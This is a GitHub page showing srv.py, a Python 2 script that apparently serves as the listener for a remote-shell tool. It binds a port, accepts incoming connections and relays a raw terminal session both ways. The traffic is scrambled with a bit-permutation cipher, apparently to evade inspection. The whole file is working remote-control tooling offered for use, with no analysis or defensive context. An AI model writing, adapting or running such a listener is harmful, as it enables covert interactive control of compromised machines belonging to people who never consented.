-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathsrv.py
60 lines (49 loc) · 1.97 KB
/
srv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket, pty, tty, select
import sys, os
def crypt( xxx, key = [ 7,6,5,4,3,2,1,0 ] ):
def bin( n ):
return ''.join( map( lambda y: str((n >> y) & 1), range( 7 , -1, -1 ) ) )
def perm( c ):
""" This function is remap one byte to another
with bit-permutations.
assert( perm^2 === 1 )
"""
s = bin( ord( c ) ) ## 3 --> 00000011
return chr( int( ''.join([ s[ key[ i ] ] for i in xrange( 8 ) ]), 2 ) ) ## return chr( int( 11000000 ) )
return ''.join( map( perm, xxx ) )
if len( sys.argv ) < 3:
print "[x] Usage: %s [host] [port]" % ( sys.argv[0] )
else:
host = str( sys.argv[1] )
port = int( sys.argv[2] )
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.settimeout( 10 )
try:
sock.bind( (host, port) )
sock.listen( 5 )
except:
print "[!] Can't bind !\n"
tty.setraw( pty.STDIN_FILENO )
while True:
#accept connections from outside
print "[x] Waiting for incoming on %s:%s...\r" % (host, port)
try:
(csock, addr) = sock.accept()
fsock = csock.fileno()
except socket.timeout:
continue
print "[x] Ok....%s\r" % str( addr )
while True:
r, w, e = select.select( [ fsock, pty.STDIN_FILENO ], [], [] )
#print r, str( [ fsock, pty.STDIN_FILENO ] )
if fsock in r:
dat = crypt( os.read( fsock, 1000 ) ) ## decrypting...
if dat:
dat = dat.replace( '\x01', '' ) ## strip out magic byte
os.write( pty.STDOUT_FILENO, dat )
else:
print "[!] client close connection....\r"
break
if pty.STDIN_FILENO in r:
dat = os.read( pty.STDIN_FILENO, 1000 )
os.write( fsock, crypt( dat ) ) ## encrypting...